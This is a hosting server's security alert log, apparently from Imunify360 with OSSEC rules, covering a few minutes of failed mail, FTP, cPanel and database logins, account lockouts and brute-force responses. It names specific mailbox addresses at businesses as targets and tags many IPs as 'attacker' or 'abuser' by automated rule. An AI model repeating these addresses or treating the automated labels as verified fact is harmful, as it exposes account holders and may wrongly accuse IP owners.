Feb  2 06:15:01 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:15:02 dovecot_login authenticator failed for H=(lDlOql) [165.154.217.204]:50309: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-02 06:16:30 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:52808: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:16:34 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55289: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.152.52.201
country_id: 6252001
description:
Feb  2 06:16:26 sv3 pure-ftpd[1462590]: (?@104.152.52.201) [INFO] New connection from 104.152.52.201


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:16:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-02 06:16:27 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:59624: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 154.54.249.193
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/share/mysql/chinese/errmsg.sys||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:16:04 dovecot_login authenticator failed for H=(T9Ptkzs3R4) [185.230.124.69]:51143: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-02 06:16:16 +0800] info [cpaneld] 185.204.54.153 - ofsirk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ofsirk (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:16:15 dovecot_login authenticator failed for H=(n7S8hRFeE9) [77.83.39.253]:53586: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:16:18 dovecot_login authenticator failed for H=(q1MWFDQq) [165.154.217.204]:56033: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 06:16:29 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@cordage.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:16:02 dovecot_login authenticator failed for H=(dM8m3od) [178.16.52.139]:57809: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.18.148.10
country_id: 1814991
description:
2026-02-02 06:16:20 dovecot_login authenticator failed for H=(hebei.18.121.in-addr.arpa) [121.18.148.10]:57752: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.152.52.101
country_id: 6252001
description:
Feb  2 06:16:26 sv3 pure-ftpd[1462605]: (?@104.152.52.101) [INFO] New connection from 104.152.52.101


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:16:32 dovecot_login authenticator failed for H=(lRD2QDkgGm) [158.94.208.175]:56015: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:16:57 dovecot_login authenticator failed for H=(iQTwgjvKjJ) [165.154.217.204]:58937: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:16:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:16:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.152.52.124
country_id: 6252001
description:
Feb  2 06:16:26 sv3 pure-ftpd[1462529]: (?@104.152.52.124) [INFO] New connection from 104.152.52.124


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.152.52.211
country_id: 6252001
description:
Feb  2 06:16:26 sv3 pure-ftpd[1462658]: (?@104.152.52.211) [INFO] New connection from 104.152.52.211


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.152.52.203
country_id: 6252001
description:
Feb  2 06:16:26 sv3 pure-ftpd[1462525]: (?@104.152.52.203) [INFO] New connection from 104.152.52.203


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.152.52.213
country_id: 6252001
description:
Feb  2 06:16:26 sv3 pure-ftpd[1462548]: (?@104.152.52.213) [INFO] New connection from 104.152.52.213


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:17:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:17:03 dovecot_login authenticator failed for H=(DbVRDjw4) [77.83.39.253]:29340: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.177.204.4
country_id: 1269750
description:
2026-02-02 06:17:58 dovecot_login authenticator failed for H=([103.177.204.4]) [103.177.204.4]:48462: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:17:05 dovecot_login authenticator failed for H=(TmVdhV) [158.94.208.175]:49903: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:17:13 dovecot_login authenticator failed for H=(P8e3Isko) [165.154.217.204]:60274: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:17:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:17:02 dovecot_login authenticator failed for H=(H9su4F) [178.16.52.139]:60415: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:17:05 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:48532: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:17:20 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53140: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:17:01 dovecot_login authenticator failed for H=(0DbEru) [185.230.124.69]:55831: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:17:01 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 06:17:26 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@cordage.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-02-02 06:18:37 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:53217: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:18:10 dovecot_login authenticator failed for H=(K5g9YbF7) [158.94.208.175]:60839: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.237.70.192
country_id: 2661886
description:
2026-02-02 06:19:00 dovecot_login authenticator failed for H=([127.0.0.1]) [194.237.70.192]:34098: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 06:18:23 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@cordage.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:18:25 dovecot_login authenticator failed for H=(lX5horOLqr) [178.16.52.139]:61141: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:18:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:18:11 dovecot_login authenticator failed for H=(mgAMnWAjgm) [165.154.217.204]:65344: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:18:09 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62919: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:18:18 dovecot_login authenticator failed for H=(l5loBe) [185.230.124.69]:62817: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:18:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:18:29 dovecot_login authenticator failed for H=(p9pmfX) [165.154.217.204]:50556: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:18:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:18:14 dovecot_login authenticator failed for H=(Qi4xon6P) [77.83.39.253]:28494: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:19:05 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56081: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:19:08 dovecot_login authenticator failed for H=(uSJVuTBq) [165.154.217.204]:53667: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:19:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 46.151.182.21
country_id: 2750405
description:
Feb  2 06:19:22 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account cky@ahfengineering.com has been temporarily locked by Imunify PAM(46.151.182.21)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 46.151.182.14
country_id: 2750405
description:
Feb  2 06:19:23 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account cky@ahfengineering.com has been temporarily locked by Imunify PAM(46.151.182.14)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 46.151.182.22
country_id: 2750405
description:
Feb  2 06:19:27 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account cky@ahfengineering.com has been temporarily locked by Imunify PAM(46.151.182.22)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:19:47 dovecot_login authenticator failed for H=(y3vOY6Cqh) [165.154.217.204]:57153: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:19:13 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:46508: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-02 06:19:20 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:52522: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 06:19:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@cordage.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:19:18 dovecot_login authenticator failed for H=(xFz3sCeJe) [178.16.52.139]:60966: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.206.113.91
country_id: 1835841
description:
2026-02-02 06:19:55 dovecot_login authenticator failed for H=([175.206.113.91]) [175.206.113.91]:48102: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 46.151.182.15
country_id: 2750405
description:
Feb  2 06:19:50 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account cky@ahfengineering.com has been temporarily locked by Imunify PAM(46.151.182.15)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.13.158.148
country_id: 1814991
description:
2026-02-02 06:19:08 dovecot_login authenticator failed for H=([127.0.0.1]) [27.13.158.148]:54560: 535 Incorrect authentication data (set_id=bptioh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:19:10 dovecot_login authenticator failed for H=(5PxkZWnUa) [158.94.208.175]:58224: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:19:15 dovecot_login authenticator failed for H=(hDVUlUN5) [185.230.124.69]:61340: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-02-02 06:19:45 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:19:01 dovecot_login authenticator failed for H=(0SSFawbu) [77.83.39.253]:8745: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:19:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:19:23 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 46.151.182.25
country_id: 2750405
description:
Feb  2 06:19:30 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account cky@ahfengineering.com has been temporarily locked by Imunify PAM(46.151.182.25)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.36.234.156
country_id: 1835841
description:
2026-02-02 06:19:40 dovecot_login authenticator failed for H=([118.36.234.156]) [118.36.234.156]:56268: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-02-02 06:19:54 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:16130: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:20:05 dovecot_login authenticator failed for H=(IGhRctkc) [165.154.217.204]:58488: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:20:13 dovecot_login authenticator failed for H=(3KhvwnUFB) [77.83.39.253]:17467: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:20:22 dovecot_login authenticator failed for H=(zrSidGuc) [178.16.52.139]:61100: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:20:26 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58258: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:20:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:20:14 dovecot_login authenticator failed for H=(8gwZujNB) [185.230.124.69]:54881: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-02-02 06:20:16 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 06:20:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@cordage.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:20:14 dovecot_login authenticator failed for H=(m7f6qJb9P) [158.94.208.175]:62056: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-02-02 06:20:19 dovecot_login authenticator failed for H=([185.255.212.178]) [185.255.212.178]:53913: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 4.246.227.87
country_id: 6252001
description:
Feb  2 06:20:29 sv3 pure-ftpd[1465686]: (?@4.246.227.87) [WARNING] Authentication failed for user [https]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-02-02 06:20:55 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:42510: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-02 06:20:58 +0800] info [cpaneld] 185.204.54.153 - kaasam "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kaasam (has_cpuser_file failed)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:20:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:21:11 dovecot_login authenticator failed for H=(qP8QgNriA0) [185.230.124.69]:49173: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:21:18 dovecot_login authenticator failed for H=(1dbucBmD) [158.94.208.175]:65113: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:21:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.253.142
country_id: 1814991
description:
2026-02-02 06:21:11 dovecot_login authenticator failed for H=([116.113.253.142]) [116.113.253.142]:38266: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.251.67.85
country_id: 2017370
description:
2026-02-02 06:21:21 dovecot_login authenticator failed for H=([87.251.67.85]) [87.251.67.85]:37532: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:21:26 dovecot_login authenticator failed for H=(RYdHHA) [178.16.52.139]:49240: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:21:04 dovecot_login authenticator failed for H=(iEV3UNlZel) [165.154.217.204]:62980: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:21:16 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52521: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:21:23 dovecot_login authenticator failed for H=(G7Dp4N3q) [165.154.217.204]:64386: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.3
country_id: 1814991
description:
2026-02-02 06:21:04 dovecot_login authenticator failed for H=([111.61.177.3]) [111.61.177.3]:58196: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.84.130
country_id: 2017370
description:
2026-02-02 06:21:09 dovecot_login authenticator failed for H=([83.239.84.130]) [83.239.84.130]:55619: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:21:22 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50008: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:21:24 dovecot_login authenticator failed for H=(EMIEzTCG) [77.83.39.253]:24182: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.242.3.111
country_id: 2750405
description:
2026-02-02  6:21:43 271989 [Warning] Aborted connection 271989 to db: 'unconnected' user: 'unauthenticated' host: '185.242.3.111' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:22:08 dovecot_login authenticator failed for H=(pV0CODMnvu) [185.230.124.69]:61293: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:22:19 dovecot_login authenticator failed for H=(rWLcZfw) [178.16.54.138]:65471: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:22:32 dovecot_login authenticator failed for H=(Qb3nNBNdGO) [178.16.52.139]:57788: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:22:11 dovecot_login authenticator failed for H=(3HkIF1to) [77.83.39.253]:10155: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:22:22 dovecot_login authenticator failed for H=(4kfj0ZRzjt) [158.94.208.175]:54032: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:22:04 dovecot_login authenticator failed for H=(9x1MoDWO) [165.154.217.204]:50909: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:22:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49165: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:22:56 dovecot_login authenticator failed for H=(4yTudEI) [165.154.217.204]:54894: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:23:05 dovecot_login authenticator failed for H=(FOFybc9Y09) [185.230.124.69]:55905: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:23:22 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:23:31 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47742: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 80.94.250.168
country_id: 617790
domain: mssa.org.my
description:
